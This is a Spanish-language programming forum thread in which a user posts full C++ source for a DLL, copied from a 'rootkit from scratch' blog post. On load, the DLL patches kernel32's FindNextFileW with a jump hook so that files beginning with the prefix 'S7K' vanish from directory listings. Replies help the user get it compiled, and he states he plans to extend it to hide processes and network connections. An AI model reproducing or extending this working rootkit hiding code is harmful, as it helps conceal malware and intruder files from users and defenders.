elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Error al compilar una DLL
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Error al compilar una DLL  (Leído 2,775 veces)
Schaiden

Desconectado Desconectado

Mensajes: 97



Ver Perfil
Error al compilar una DLL
« en: 10 Julio 2017, 23:01 pm »

Muy buenas! Estaba investigando sobre DLL injection y quería compilar una DLL en la que se hace api hooking a la system call que lista archivos. Estoy trabajando en Windows 7 x64 con CodeBlocks y el compilador mingw que viene incluido con el IDE. La DLL que quiero compilar la obtuve de éste sitio:

https://losindestructibles.wordpress.com/2012/10/15/creacion-de-rootkit-desde-cero/

Es la siguiente:

Código
  1. #include "StdAfx.h"
  2. #include <windows.h>
  3. #include <iostream>
  4. #include <cstdlib>
  5.  
  6.  
  7. // DECLARACIONES:
  8. BYTE *BufferFN;                 // Buffer que usaremos para ejecutar el api original FindNextFileW
  9. char Prefijo[] = "S7K";   // El prefijo que buscaremos para ocultar archivos/carpetas
  10.  
  11.  
  12. // FUNCIONES:
  13. void    Hookear();  // Función que hookeará el api
  14.  
  15.  
  16. // Función que será llamada en vez de FindNextFileW
  17. HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
  18. // Puntero a función con el cual llamaremos al api FindNextFileW original
  19. HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);
  20.  
  21.  
  22.  
  23.  
  24.  
  25. // FUNCIÓN MAIN
  26. bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
  27. {
  28. // Si cargan la DLL hookeamos
  29. if (fdwReason == DLL_PROCESS_ATTACH)
  30. {
  31. Hookear();
  32. }
  33. return TRUE;
  34. }
  35.  
  36.  
  37.  
  38. // FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
  39. HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
  40. {
  41. // Ocultamos los archivos que empiecen por el prefijo indicado
  42.  
  43. HANDLE hand;
  44. char ascStr[611];
  45.  
  46. do
  47. {
  48. hand = pBuffFN(hFindFile,lpFindFileData);
  49. WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);
  50.  
  51. }while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);
  52.  
  53. return hand;
  54. }
  55.  
  56.  
  57. // FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
  58. void Hookear()
  59. {
  60. DWORD ProteVieja;  // Parametro para VirtualProtect
  61. BYTE  *DirFN;      // La dirección en memoria de FindNextFileW
  62. BYTE  *DirYoFN;    // La dirección en memoria de la función que remplaza a FindNextFileW
  63.  
  64. // --> HOOKEAMOS FINDNEXTFILEW (7 bytes)
  65.  
  66. // Obtenemos la dirección en memoria de FindNextFileW.
  67. DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");
  68.  
  69. //Reservamos 12 bytes de memoria para nuestro Buffer
  70. //FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D
  71. BufferFN=(BYTE *) malloc (12);
  72.  
  73. //Le damos todos los permisos a los 12 bytes de nuestro Buffer
  74. VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);
  75.  
  76. // Copiamos los 7 primeros bytes del api en el buffer
  77. memcpy(BufferFN,DirFN,7);
  78. BufferFN += 7;
  79.  
  80. // En los 5 bytes restantes...
  81. // En el primero introducimos un jmp
  82. *BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
  83. BufferFN++;
  84.  
  85. // En los otros 4 la distancia del salto
  86. *((signed int *) BufferFN)= DirFN - BufferFN + 3;
  87.  
  88. // Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
  89. pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);
  90.  
  91. // Le damos todos los permisos a los 5 primeros bytes de la api original
  92. VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
  93.  
  94. // Cambiamos el tipo a puntero a byte para facilitar el trabajo
  95. DirYoFN=(BYTE *) miFindNextFileW;
  96.  
  97. // En el inicio de la api metemos un jmp para que salte a miFindNextFileW
  98. *DirFN=0xE9;
  99. DirFN++;
  100.  
  101. // Metemos la distancia del salto
  102. *((signed int *) DirFN)=DirYoFN - DirFN - 4;
  103. // Libermos librerias de cache
  104.        FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
  105. }
  106.  

Cuando quiero compilarla, el compilador devuelve el error:

undefined reference to `WinMain@16'

Build log:
Citar
D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.cpp: In function 'void Hookear()':
D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.cpp:104:56: warning: passing NULL to non-pointer argument 3 of 'BOOL FlushInstructionCache(HANDLE, PCVOID, DWORD)' [-Wconversion-null]
mingw32-g++.exe  -o "D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.exe" "D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.o"  
c:/program files (x86)/codeblocks/mingw/bin/../lib/gcc/mingw32/4.7.1/../../../libmingw32.a(main.o):main.c:(.text.startup+0xa7): undefined reference to `WinMain@16'
collect2.exe: error: ld returned 1 exit status
Process terminated with status 1 (0 minute(s), 0 second(s))
1 error(s), 1 warning(s) (0 minute(s), 0 second(s))

Imagen:


Quiero entender que estoy haciendo mal, ya que al googlear el error hay mucha gente a la que el compilador les devuelve el mismo error que el mio, pero porque tenían otros errores en su código como por ejemplo usar Main() con mayúscula, u otros, pero no se qué hacer en éste caso en particular... Espero poder compilar ésto asi luego mejoro la DLL para hacer api hooking a system calls que listen procesos y conexiones de red... Muchas gracias por su tiempo!


« Última modificación: 10 Julio 2017, 23:06 pm por Schaiden » En línea

ivancea96


Desconectado Desconectado

Mensajes: 3.412


ASMático


Ver Perfil WWW
Re: Error al compilar una DLL
« Respuesta #1 en: 11 Julio 2017, 12:00 pm »

Para crear una DLL con GCC, tienes que compilar con la opción "-shared". ¿La tienes a la hora de linkear?


En línea

Schaiden

Desconectado Desconectado

Mensajes: 97



Ver Perfil
Re: Error al compilar una DLL
« Respuesta #2 en: 25 Julio 2017, 00:12 am »

Buenas! Gracias por tu tiempo, noté que el mingw32-g++.exe se estaba ejecutando sin el parámetro "-shared", asi que configuré las cosas de la siguiente forma:



Dentro de la sección Compiler Settings, busqué el parámetro -shared dentro de la subcategoría Compiler Flag, como no estaba, la escribí manualmente en la subcategoría Other options como se ve en la imagen. Y cuando quiero compilar, el Build log nos dice efectivamente que mingw se ejecutó con el parámetro -shared (observar en la imagen abajo a la izquierda). Pero sigo teniendo el mismo error de siempre, aún habiendo incluído ese parámetro...

Alguna otra idea? Gracias por adelantado.
« Última modificación: 25 Julio 2017, 00:24 am por Schaiden » En línea

ivancea96


Desconectado Desconectado

Mensajes: 3.412


ASMático


Ver Perfil WWW
Re: Error al compilar una DLL
« Respuesta #3 en: 25 Julio 2017, 00:26 am »

Todo está bien salvo que lo pusiste en compilador. El parámetro -shared es del linker. Tú quieres que ese parámetro aparezca en la segunda parte, donde el "g++.exe -o ...". Para ello, coloca ese parámetro en la pestaña "Linker settings".

Como explicación racional a todo esto:
Se puede compilar sin main un código. Generas el código de las funciones o datos que haya. El problema viene a la hora de linkear. Si quieres linkear los códigos objeto para generar un ejecutable, necesita un punto de entrada, el "main". Es por eso que da el error, al no encontrarlo. Claro que al pasarle el -shared, ya no es un ejecutable, sinó una DLL, que no lo necesita.
En línea

Schaiden

Desconectado Desconectado

Mensajes: 97



Ver Perfil
Re: Error al compilar una DLL
« Respuesta #4 en: 25 Julio 2017, 00:49 am »

Excelente! Muchisimas gracias por responder tan rápido, ahí hice las cosas como me indicaste y pude compilar a la perfección :D

Lo único que la DLL se creó con extensión .exe: "DLL.exe" en lugar de "DLL.dll". Si cambio la extensión por .dll renombrando al archivo podría utilizarla como cualquier otra dll?

Saludos y gracias!
En línea

ivancea96


Desconectado Desconectado

Mensajes: 3.412


ASMático


Ver Perfil WWW
Re: Error al compilar una DLL
« Respuesta #5 en: 25 Julio 2017, 01:10 am »

Umh bueno, acerca de eso...
Code::Blocks tiene un tipo de proyecto que es Dynamic Link Library, DLL vaya. Si seleccionas ese tipo de proyecto al crearlo, te lo hace automáticamente todo esto.
De todos modos, si va sa Propiedades del proyecto -> Build targets, verás que hay un selector, y una de sus opciones es "Dynamic library". En tu caso, por defecto estará puesto a "Console application", supongo. Si lo cambias ya debería estar, y ya no tendrías que poner el -shared (lo cierto es que esta opción mejor dejársela al IDE xD)

Y con respecto a si cambiándole la extension funcionará, no lo sé. Prueba jaja
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Error al compilar
Programación Visual Basic
newbY 2 1,759 Último mensaje 9 Noviembre 2007, 13:40 pm
por newbY
me da error al compilar
Programación Visual Basic
elguast 2 1,743 Último mensaje 29 Junio 2008, 11:54 am
por elguast
Error al compilar un BAT a EXE « 1 2 »
Scripting
xXEsEtUlOnXx 10 7,561 Último mensaje 26 Julio 2008, 02:19 am
por morenochico
Error al compilar
ASM
Kerber0 4 7,185 Último mensaje 7 Enero 2010, 09:58 am
por Eternal Idol
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines